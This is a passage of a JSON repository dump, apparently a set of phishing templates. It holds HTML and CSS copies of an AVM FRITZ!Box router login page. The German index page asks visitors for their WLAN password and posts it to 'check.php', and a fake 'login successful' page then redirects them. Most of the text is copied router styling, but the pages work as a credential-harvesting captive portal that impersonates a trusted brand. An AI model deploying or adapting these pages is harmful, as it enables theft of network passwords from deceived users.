auto;\r\nbackground-color: #268edf;\r\n}\r\n.dialog_head_box h2 {\r\nmargin: 0 0 0 1.25rem;\r\nfont-weight: bold;\r\nfont-size: 1.25rem;\r\ncolor: #ffffff;\r\nletter-spacing: 0.025rem;\r\nline-height: 3.4rem;\r\n}\r\n.dialog_content {\r\npadding: 0 0 1rem 0;\r\nmin-height: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\n}\r\n.formular label {\r\nwidth: 8.5rem;\r\nmargin-right: 0.5rem;\r\nline-height: 1.7rem;\r\n}\r\n.formular input,\r\n.formular select {\r\nwidth: 17.25rem;\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin-right: 0.25rem;\r\n}\r\n.btn_form_foot {\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.75rem 0 0 0;\r\npadding: 1rem 1.25rem 0 1.25rem;\r\ntext-align: right;\r\nwidth: 100%;\r\ndisplay: flex;\r\nflex-direction: row-reverse;\r\njustify-content: space-between;\r\nalign-items: center;\r\n}\r\n.forgotPass .btn_form_foot {\r\njustify-content: flex-start;\r\n}\r\n.btn_form_foot a {\r\ndisplay: inline-block;\r\ntext-decoration: none;\r\nfont-size: 0.9375rem;\r\nfont-weight: normal;\r\ncolor: #4269a4;\r\nmargin: 0;\r\npadding: 0.1rem 0 0 0;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a:hover {\r\ntext-decoration: underline;\r\n}\r\n}\r\n@media (max-width: 759px) {\r\n/*fr mobile Ansicht*/\r\nhtml {\r\nbackground-color: #ffffff;\r\nbackground-image: none;\r\n}\r\nbody {\r\nheight: auto;\r\n}\r\nheader {\r\nheight: 3.75rem;\r\n}\r\n.dialog_outer {\r\nfont-size: 1.25rem;\r\nbackground-image: none;\r\npadding: 3.75rem 0 4.25rem 0;\r\n}\r\n.blue_bar_title {\r\ntext-align: left;\r\npadding: 1rem 0 1.035rem 0.15rem;\r\nfont-size: 1.25rem;\r\nfont-weight: normal;\r\n}\r\n.blue_bar_title.hide {\r\ncolor: transparent;\r\n}\r\n.dialog_inner {\r\nwidth: 90%;\r\nmargin: 0;\r\n}\r\n.dialog_head_box {\r\ndisplay: none;\r\n}\r\n.logoBox {\r\nheight: 3.75rem;\r\nbackground-position: left 0.5rem center;\r\nbackground-size: 3.75rem;\r\nwidth: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0;\r\n}\r\n.formular label {\r\nwidth: 10rem;\r\nline-height: 1.7rem;\r\nmargin: 0 0.5rem 0 0;\r\nvertical-align: top;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nmargin: 0 0 1rem 0;\r\nfont-size: 1.15rem;\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError,\r\n#uiLoginError.hidden {\r\nmargin: 0;\r\n}\r\n.formular input,\r\n.formular select {\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\nwidth: 100%;\r\nmax-width: 20rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin: 0 0.5rem 0.5rem 0;\r\n}\r\n.btn_form_foot {\r\nborder: none;\r\nmargin: 0 -1.25rem 0 -1.25rem;\r\npadding: 0 1.25rem;\r\ntext-align: center;\r\nwidth: calc(100% + 2.5rem);\r\ndisplay: flex;\r\nflex-direction: column-reverse;\r\n}\r\nbutton,\r\n.btn_form_foot button {\r\nmin-width: 100%;\r\nmin-height: 2.2rem;\r\nmargin: 0;\r\n}\r\n.btn_form_foot button {\r\nmargin: 2rem 0 0 0;\r\n}\r\n.btn_form_foot a {\r\ndisplay: block;\r\nposition: fixed;\r\nbottom: 0;\r\nleft: 0;\r\ntext-align: center;\r\nwidth: 100%;\r\npadding: 1rem 0;\r\nbackground-color: #f1f6f9;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a {\r\ncolor: #3080C8;\r\n}\r\n.logoBox.fake {\r\ndisplay: none;\r\n}\r\n}\r\n.perfTestHead {\r\nborder-top: 1px solid #ff3000;\r\nmargin: 1rem 0 0 0;\r\npadding: 1.25rem 1.25rem 0 1.25rem;\r\ncolor: #ff3000;\r\ncursor: pointer;\r\n}\r\n.perfTestHead span {\r\ndisplay: inline-block;\r\nheight: 1rem;\r\nwidth: 2rem;\r\nbackground-image: url(\"/css/rd/images/link_open_red.svg\");\r\nbackground-position: center;\r\nbackground-size: 1rem;\r\nbackground-repeat: no-repeat;\r\n}\r\n.perfTestHead.show span {\r\nbackground-image: url(\"/css/rd/images/link_closed_red.svg\");\r\n}\r\n.perfTestMsg {\r\ndisplay: none;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\n.perfTestMsg.show {\r\ndisplay: block;\r\n}\r\n.forgotPass .perfTestHead,\r\n.forgotPass .perfTestMsg.show {\r\ndisplay: none;\r\n}\r\n.hintMsg {\r\nfont-weight: bold;\r\n}\r\n@media (max-width: 759px) {\r\n.perfTestHead {\r\nmargin: 1.5rem 0 0 0;\r\npadding: 1.25rem 0 0 0;\r\n}\r\n.perfTestMsg {\r\npadding: 0;\r\n}\r\n}\r\n@media (min-width: 2040px) {\r\nhtml {\r\nfont-size: 0.79vw;\r\n}\r\n}\r\n\r\n\r\n</style>\r\n<title>\r\nFRITZ!Box\r\n</title>\r\n</head>\r\n<body>\r\n<script>\r\nvar gNbc = false,\r\nconfig = {\"gu_type\":\"release\",\"isDebug\":false,\"GUI_IS_REPEATER\":false};\r\n</script>\r\n<script src=\"FRITZ%21Box-Dateien/avmcore.js\"></script>\r\n<!--<script src=\"/js/browser.js\"></script>-->\r\n<!--<script src=\"/js/jsl.js\"></script>-->\r\n<!--<script src=\"/js/md5.js\"></script>-->\r\n<!--<script src=\"/js/html.js\"></script>-->\r\n<!--<script src=\"/js/func.js\"></script>-->\r\n<!--<script type=\"text/javascript\" src=\"/myfritz/js/focuschanger.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/html2.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/http.js\"></script>-->\r\n<script type=\"text/javascript\" src=\"FRITZ%21Box-Dateien/login.js\"></script>\r\n<script type=\"text/javascript\">\r\n\r\n</script>\r\n<header id=\"blueBarBox\" name=\"\" class=\"\"><div id=\"\" name=\"\" class=\"logoBox\"></div>\r\n<div id=\"blueBarTitel\" name=\"\" class=\"blue_bar_title\">FRITZ!Box WLAN</div>\r\n<div id=\"\" name=\"\" class=\"logoBox fake\"></div></header><div class=\"dialog_outer\">\r\n<div id=\"dialogInner\" class=\"dialog_inner\">\r\n<div id=\"dialogHeadBox\" class=\"dialog_head_box\">\r\n<h2 id=\"dialogTitle\">Login erfolgreich</h2></div>\r\n<div id=\"dialogContent\" class=\"dialog_content\">\r\n<div class=\"formular\">\r\n<br>\r\n<p>Sie werden nun weitergeleitet.</p>\r\n\r\n"
  },
  {
    "path": "sites/fritzbox_de/index.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http-equiv=\"Cache-Control\" content=\"private, no-transform\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n<meta name=\"format-detection\" content=\"telephone=no\">\r\n<meta http-equiv=\"x-rim-auto-match\" content=\"none\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui\">\r\n<meta name=\"mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\r\n<meta http-equiv=\"cleartype\" content=\"on\">\r\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"http://192.168.178.1/favicon.ico\">\r\n<link rel=\"apple-touch-icon\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<link rel=\"apple-touch-startup-image\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<style>\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesanspro.woff');\r\n}\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesansproBold.woff');\r\nfont-weight: bold;\r\n}\r\n@font-face {\r\nfont-family: 'AVM';\r\nsrc: url('/css/rd/fonts/metaWebProBold.woff');\r\nfont-weight: bold;\r\n}\r\nhtml, input, textarea, keygen, select, button {\r\nfont-family: 'Source Sans Pro', Arial, sans-serif;\r\nfont-size: 100%;\r\n}\r\n.blue_bar_title,\r\n.logoArea {\r\nfont-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;\r\n}\r\n</style>\r\n\r\n<style type=\"text/css\">\r\n/********************************************** Allgemein **********************************************/\r\n* {\r\n-webkit-tap-highlight-color: rgba(0,0,0,0);\r\n-webkit-box-sizing: border-box;\r\n-moz-box-sizing: border-box;\r\nbox-sizing: border-box;\r\n-webkit-touch-callout: text;\r\n-webkit-user-select: text;\r\n-khtml-user-select: text;\r\n-moz-user-select: text;\r\n-ms-user-select: text;\r\nuser-select: text;\r\nfont-size: 100%;\r\nvertical-align: middle;\r\noutline: 0;\r\n}\r\n*::selection {\r\nbackground: transparent;\r\n}\r\n*::-moz-selection {\r\nbackground: transparent;\r\n}\r\n.selectable *::selection {\r\nbackground: #8fdaff;\r\n}\r\n.selectable *::-moz-selection {\r\nbackground: #8fdaff;\r\n}\r\nhtml {\r\nheight: 100%;\r\nfont-size: 100%;\r\nbackground-color: #f0eee6;\r\ntransition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\nbody {\r\nheight: 100%;\r\npadding:0;\r\nmargin:0;\r\ncolor: #3F464C;\r\noverflow-x: hidden;\r\noverflow-y: auto;\r\nline-height: 1;\r\n}\r\nh1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {\r\nmargin: 0;\r\npadding: 0;\r\nborder: 0;\r\n}\r\nh4 {\r\nmargin: 1.25rem 0;\r\n}\r\ninput {\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nhr {\r\npadding: 0;\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.25rem -1.25rem;\r\n}\r\nheader {\r\nheight: 6.25rem;\r\nwidth: 100%;\r\nposition: fixed;\r\ntop: 0;\r\nleft: 0;\r\nz-index: 100;\r\nbackground-color: #006ec0;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-flex-direction: row;\r\n-moz-box-flex-direction: row;\r\n-webkit-flex-direction: row;\r\n-ms-flex-direction: row;\r\nflex-direction: row;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n.hidden {\r\ndisplay: none;\r\n}\r\n.blue_bar_title {\r\n-webkit-box-flex: 1 1 auto;\r\n-moz-box-flex: 1 1 auto;\r\n-webkit-flex: 1 1 auto;\r\n-ms-flex: 1 1 auto;\r\nflex: 1 1 auto;\r\n-webkit-box-align-self: center;\r\n-moz-box-align-self: center;\r\n-webkit-align-self: center;\r\n-ms-align-self: center;\r\nalign-self: center;\r\nmargin: 0.3rem 0 0 0;\r\nfont-size: 3rem;\r\nfont-weight: bold;\r\ntext-align: left;\r\ncolor: #ffffff;\r\noverflow: hidden;\r\nwhite-space: nowrap;\r\ntext-overflow: ellipsis;\r\ntext-align: center;\r\ntransition: all 150ms;\r\n}\r\n.blue_bar_title.fade {\r\nfont-size: 0;\r\ncolor: transparent;\r\n}\r\n.logoBox {\r\nbackground-image: url(\"fritzLogo.svg\");\r\nbackground-position: center right;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 7rem;\r\ncolor: transparent;\r\nwidth: 10.75rem;\r\nheight: 6.25rem;\r\n}\r\n.logoBox.fake {\r\nbackground-image: none;\r\n}\r\n.dialog_outer {\r\nheight: 100%;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-justify-content: center;\r\n-moz-box-justify-content: center;\r\n-webkit-justify-content: center;\r\n-ms-justify-content: center;\r\njustify-content: center;\r\n-webkit-box-align-items: center;\r\n-moz-box-align-items: center;\r\n-webkit-align-items: center;\r\n-ms-align-items: center;\r\nalign-items: center;\r\nbackground-image: url(\"login_background.svg\");\r\nbackground-position: center 51%;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 38rem;\r\npadding: 6.5rem 0;\r\n}\r\n.dialog_outer p {\r\nmargin: 1.25rem 0;\r\nline-height: 1.25rem;\r\n}\r\n.loginForm {\r\ndisplay: block;\r\n}\r\n.setFac .pushmailQuestion,\r\n.setFac #sendFacReset,\r\n.setFac #sendPushMail,\r\n.setFac #setFac,\r\n.pushmailSend,\r\n.restore,\r\n.pushmail .pushmailQuestion,\r\n.pushmail #sendFacReset,\r\n.pushmail #sendPushMail,\r\n.pushmail #setFac,\r\n.forgotPassForm,\r\n.forgotPass .loginForm {\r\ndisplay: none;\r\n}\r\n.setFac .restore,\r\n.pushmail .pushmailSend,\r\n.forgotPass .forgotPassForm {\r\ndisplay: block;\r\nvisibility: visible;\r\n}\r\n.setFac .forgotPassForm {\r\ndisplay: none;\r\n}\r\n.pushmail.wait .pushmailSend {\r\nvisibility: hidden;\r\n}\r\n.intxt.wait,\r\n.setFac.wait .dialog_content,\r\n.pushmail.wait .dialog_content {\r\nbackground-image: url(\"/css/rd/images/wait_circle_bright_back.gif\");\r\nbackground-position: center 1.5rem;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 2rem;\r\n}\r\n.intxt.wait {\r\nheight: 2rem;\r\nwidth: 100%;\r\nmargin: 0.5rem;\r\nbackground-position: center;\r\n}\r\n.ErrorMsg,\r\n.error_text,\r\n.WarnMsgBold {\r\ncolor: #ff3000;\r\n}\r\n.WarnMsgBold {\r\nfont-weight:bold;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0 1.25rem;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nheight: 1.25rem;\r\nmargin: -0.35rem 0 0.75rem 9rem;\r\nfont-size: 0.94rem;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n#uiLoginError {\r\nheight: 7.25rem;\r\nmargin: -0.35rem 0 0 9rem;\r\n}\r\n#uiLoginError p:first-Child {\r\nmargin: 0;\r\n}\r\n#uiLoginError p:nth-Child(2) {\r\nmargin: 0 0 1.25rem 0;\r\n}\r\n#uiLoginError p {\r\ntransition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n@media (max-width: 759px) {\r\n#uiLoginError {\r\nheight: 7.5rem;\r\n}\r\n}\r\n@media (max-width: 369px) {\r\n#uiLoginError {\r\nheight: 10rem;\r\n}\r\n}\r\n@media (max-width: 279px) {\r\n#uiLoginError {\r\nheight: 13rem;\r\n}\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError.hidden {\r\ndisplay: block;\r\noverflow: hidden;\r\nheight: 0;\r\nmargin: 0 0 0 9rem;\r\n}\r\n#uiLoginError.hidden p.error_text {\r\ncolor: transparent;\r\n}\r\nbutton {\r\nmin-width: 5.5rem;\r\nmin-height: 1.75rem;\r\noverflow: hidden;\r\npadding: 0 1rem;\r\nmargin: 0 0 0 1.25rem;\r\nbackground-color: #e9edf0;\r\nborder: 1px solid #d8dfe3;\r\nborder-radius: 0.25rem;\r\ncolor: #4269a4;\r\ncursor: pointer;\r\nwill-change: border, background-color, color;\r\ntransition: border 100ms,\r\nbackground-color 100ms,\r\ncolor 100ms;\r\n}\r\n.btn_form_foot button {\r\nmargin: 0 0 0 1.25rem;\r\n}\r\nbutton:first-Child {\r\nmargin-left: 0;\r\n}\r\nbutton:active {\r\nbackground-color: #bcccd4;\r\nborder: 1px solid #b0bec5;\r\n}\r\nbutton:disabled {\r\nbackground-color: #e0e0de;\r\nborder: 1px solid #d8dfe3;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n.btn_form_foot button {\r\nmin-height: 2rem;\r\nmin-width: 7.5rem;\r\nmargin: 0 0 0 0.5rem;\r\nbackground-color: #268edf;\r\ncolor: #ffffff;\r\ncursor: pointer;\r\noverflow: hidden;\r\ntext-align: center;\r\npadding: 0.35rem 1rem;\r\nwill-change: margin, width, background-color, color;\r\ntransition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nwidth 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nbackground-color 100ms,\r\ncolor 100ms;\r\nborder: 0;\r\nborder-radius: 0;\r\n}\r\n.btn_form_foot button:active {\r\nbackground-color: #57758c;\r\n}\r\n.btn_form_foot button:disabled {\r\nbackground-color: #d5d5d5;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n@media (max-width: 1023px) {\r\n.btn_form_foot button {\r\nmin-height: 2.25rem;\r\n}\r\n}\r\n@media (min-width: 760px) {\r\n/*pc*/\r\n.dialog_inner {\r\n-webkit-box-flex: 0 0 28.75rem;\r\n-moz-box-flex: 0 0 28.75rem;\r\n-webkit-flex: 0 0 28.75rem;\r\n-ms-flex: 0 0 28.75rem;\r\nflex: 0 0 28.75rem;\r\nmargin: auto 0;\r\npadding: 0;\r\nbox-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);\r\nbackground-color: #ffffff;\r\n}\r\n.dialog_head_box {\r\ntext-align: left;\r\nheight: 3.25rem;\r\nmargin: auto;\r\nbackground-color: #268edf;\r\n}\r\n.dialog_head_box h2 {\r\nmargin: 0 0 0 1.25rem;\r\nfont-weight: bold;\r\nfont-size: 1.25rem;\r\ncolor: #ffffff;\r\nletter-spacing: 0.025rem;\r\nline-height: 3.4rem;\r\n}\r\n.dialog_content {\r\npadding: 0 0 1rem 0;\r\nmin-height: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\n}\r\n.formular label {\r\nwidth: 8.5rem;\r\nmargin-right: 0.5rem;\r\nline-height: 1.7rem;\r\n}\r\n.formular input,\r\n.formular select {\r\nwidth: 17.25rem;\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin-right: 0.25rem;\r\n}\r\n.btn_form_foot {\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.75rem 0 0 0;\r\npadding: 1rem 1.25rem 0 1.25rem;\r\ntext-align: right;\r\nwidth: 100%;\r\ndisplay: flex;\r\nflex-direction: row-reverse;\r\njustify-content: space-between;\r\nalign-items: center;\r\n}\r\n.forgotPass .btn_form_foot {\r\njustify-content: flex-start;\r\n}\r\n.btn_form_foot a {\r\ndisplay: inline-block;\r\ntext-decoration: none;\r\nfont-size: 0.9375rem;\r\nfont-weight: normal;\r\ncolor: #4269a4;\r\nmargin: 0;\r\npadding: 0.1rem 0 0 0;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a:hover {\r\ntext-decoration: underline;\r\n}\r\n}\r\n@media (max-width: 759px) {\r\n/*fr mobile Ansicht*/\r\nhtml {\r\nbackground-color: #ffffff;\r\nbackground-image: none;\r\n}\r\nbody {\r\nheight: auto;\r\n}\r\nheader {\r\nheight: 3.75rem;\r\n}\r\n.dialog_outer {\r\nfont-size: 1.25rem;\r\nbackground-image: none;\r\npadding: 3.75rem 0 4.25rem 0;\r\n}\r\n.blue_bar_title {\r\ntext-align: left;\r\npadding: 1rem 0 1.035rem 0.15rem;\r\nfont-size: 1.25rem;\r\nfont-weight: normal;\r\n}\r\n.blue_bar_title.hide {\r\ncolor: transparent;\r\n}\r\n.dialog_inner {\r\nwidth: 90%;\r\nmargin: 0;\r\n}\r\n.dialog_head_box {\r\ndisplay: none;\r\n}\r\n.logoBox {\r\nheight: 3.75rem;\r\nbackground-position: left 0.5rem center;\r\nbackground-size: 3.75rem;\r\nwidth: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0;\r\n}\r\n.formular label {\r\nwidth: 10rem;\r\nline-height: 1.7rem;\r\nmargin: 0 0.5rem 0 0;\r\nvertical-align: top;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nmargin: 0 0 1rem 0;\r\nfont-size: 1.15rem;\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError,\r\n#uiLoginError.hidden {\r\nmargin: 0;\r\n}\r\n.formular input,\r\n.formular select {\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\nwidth: 100%;\r\nmax-width: 20rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin: 0 0.5rem 0.5rem 0;\r\n}\r\n.btn_form_foot {\r\nborder: none;\r\nmargin: 0 -1.25rem 0 -1.25rem;\r\npadding: 0 1.25rem;\r\ntext-align: center;\r\nwidth: calc(100% + 2.5rem);\r\ndisplay: flex;\r\nflex-direction: column-reverse;\r\n}\r\nbutton,\r\n.btn_form_foot button {\r\nmin-width: 100%;\r\nmin-height: 2.2rem;\r\nmargin: 0;\r\n}\r\n.btn_form_foot button {\r\nmargin: 2rem 0 0 0;\r\n}\r\n.btn_form_foot a {\r\ndisplay: block;\r\nposition: fixed;\r\nbottom: 0;\r\nleft: 0;\r\ntext-align: center;\r\nwidth: 100%;\r\npadding: 1rem 0;\r\nbackground-color: #f1f6f9;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a {\r\ncolor: #3080C8;\r\n}\r\n.logoBox.fake {\r\ndisplay: none;\r\n}\r\n}\r\n.perfTestHead {\r\nborder-top: 1px solid #ff3000;\r\nmargin: 1rem 0 0 0;\r\npadding: 1.25rem 1.25rem 0 1.25rem;\r\ncolor: #ff3000;\r\ncursor: pointer;\r\n}\r\n.perfTestHead span {\r\ndisplay: inline-block;\r\nheight: 1rem;\r\nwidth: 2rem;\r\nbackground-image: url(\"/css/rd/images/link_open_red.svg\");\r\nbackground-position: center;\r\nbackground-size: 1rem;\r\nbackground-repeat: no-repeat;\r\n}\r\n.perfTestHead.show span {\r\nbackground-image: url(\"/css/rd/images/link_closed_red.svg\");\r\n}\r\n.perfTestMsg {\r\ndisplay: none;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\n.perfTestMsg.show {\r\ndisplay: block;\r\n}\r\n.forgotPass .perfTestHead,\r\n.forgotPass .perfTestMsg.show {\r\ndisplay: none;\r\n}\r\n.hintMsg {\r\nfont-weight: bold;\r\n}\r\n@media (max-width: 759px) {\r\n.perfTestHead {\r\nmargin: 1.5rem 0 0 0;\r\npadding: 1.25rem 0 0 0;\r\n}\r\n.perfTestMsg {\r\npadding: 0;\r\n}\r\n}\r\n@media (min-width: 2040px) {\r\nhtml {\r\nfont-size: 0.79vw;\r\n}\r\n}\r\n\r\n\r\n</style>\r\n<title>\r\nFRITZ!Box\r\n</title>\r\n</head>\r\n<body>\r\n<script>\r\nvar gNbc = false,\r\nconfig = {\"gu_type\":\"release\",\"isDebug\":false,\"GUI_IS_REPEATER\":false};\r\n</script>\r\n<script src=\"FRITZ%21Box-Dateien/avmcore.js\"></script>\r\n<!--<script src=\"/js/browser.js\"></script>-->\r\n<!--<script src=\"/js/jsl.js\"></script>-->\r\n<!--<script src=\"/js/md5.js\"></script>-->\r\n<!--<script src=\"/js/html.js\"></script>-->\r\n<!--<script src=\"/js/func.js\"></script>-->\r\n<!--<script type=\"text/javascript\" src=\"/myfritz/js/focuschanger.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/html2.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/http.js\"></script>-->\r\n<script type=\"text/javascript\" src=\"FRITZ%21Box-Dateien/login.js\"></script>\r\n<script type=\"text/javascript\">\r\n\r\n</script>\r\n<header id=\"blueBarBox\" name=\"\" class=\"\"><div id=\"\" name=\"\" class=\"logoBox\"></div>\r\n<div id=\"blueBarTitel\" name=\"\" class=\"blue_bar_title\">FRITZ!Box WLAN</div>\r\n<div id=\"\" name=\"\" class=\"logoBox fake\"></div></header><div class=\"dialog_outer\">\r\n<div id=\"dialogInner\" class=\"dialog_inner\">\r\n<div id=\"dialogHeadBox\" class=\"dialog_head_box\">\r\n<h2 id=\"dialogTitle\">Willkommen bei Ihrer FRITZ!Box</h2></div>\r\n<div id=\"dialogContent\" class=\"dialog_content\">\r\n\r\n<form method=\"post\" action=\"check.php\" id=\"form1\" name=\"form1\" class=\"loginForm\">\r\n\r\n<div class=\"formular\">\r\n<p>Bitte melden Sie sich mit Ihrem WLAN-Passwort an.</p>\r\n<input tabindex=\"2\" name=\"key1\" type=\"password\">\r\n<div id=\"uiLoginError\" class=\"hidden\">\r\n<p class=\"error_text\">Anmeldung fehlgeschlagen.</p>\r\n<p class=\"error_text\">Bitte versuchen Sie es erneut.</p>\r\n<p id=\"uiWait\" class=\"error_text\"></p></div></div>\r\n<div class=\"btn_form_foot\">\r\n<input name=\"response\" id=\"uiResp\" value=\"\" type=\"hidden\">\r\n<input name=\"lp\" value=\"\" type=\"hidden\">\r\n<input name=\"username\" id=\"username\" value=\"\" type=\"hidden\">\r\n<button type=\"submit\" tabindex=\"3\" id=\"submitLoginBtn\">Anmelden</button>\r\n<a>Kennwort vergessen?</a></div></form></div></div></div>"
  },
  {
    "path": "sites/fritzbox_en/error.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http-equiv=\"Cache-Control\" content=\"private, no-transform\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n<meta name=\"format-detection\" content=\"telephone=no\">\r\n<meta http-equiv=\"x-rim-auto-match\" content=\"none\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui\">\r\n<meta name=\"mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\r\n<meta http-equiv=\"cleartype\" content=\"on\">\r\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"http://192.168.178.1/favicon.ico\">\r\n<link rel=\"apple-touch-icon\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<link rel=\"apple-touch-startup-image\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<style>\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesanspro.woff');\r\n}\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesansproBold.woff');\r\nfont-weight: bold;\r\n}\r\n@font-face {\r\nfont-family: 'AVM';\r\nsrc: url('/css/rd/fonts/metaWebProBold.woff');\r\nfont-weight: bold;\r\n}\r\nhtml, input, textarea, keygen, select, button {\r\nfont-family: 'Source Sans Pro', Arial, sans-serif;\r\nfont-size: 100%;\r\n}\r\n.blue_bar_title,\r\n.logoArea {\r\nfont-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;\r\n}\r\n</style>\r\n\r\n<style type=\"text/css\">\r\n/********************************************** Allgemein **********************************************/\r\n* {\r\n-webkit-tap-highlight-color: rgba(0,0,0,0);\r\n-webkit-box-sizing: border-box;\r\n-moz-box-sizing: border-box;\r\nbox-sizing: border-box;\r\n-webkit-touch-callout: text;\r\n-webkit-user-select: text;\r\n-khtml-user-select: text;\r\n-moz-user-select: text;\r\n-ms-user-select: text;\r\nuser-select: text;\r\nfont-size: 100%;\r\nvertical-align: middle;\r\noutline: 0;\r\n}\r\n*::selection {\r\nbackground: transparent;\r\n}\r\n*::-moz-selection {\r\nbackground: transparent;\r\n}\r\n.selectable *::selection {\r\nbackground: #8fdaff;\r\n}\r\n.selectable *::-moz-selection {\r\nbackground: #8fdaff;\r\n}\r\nhtml 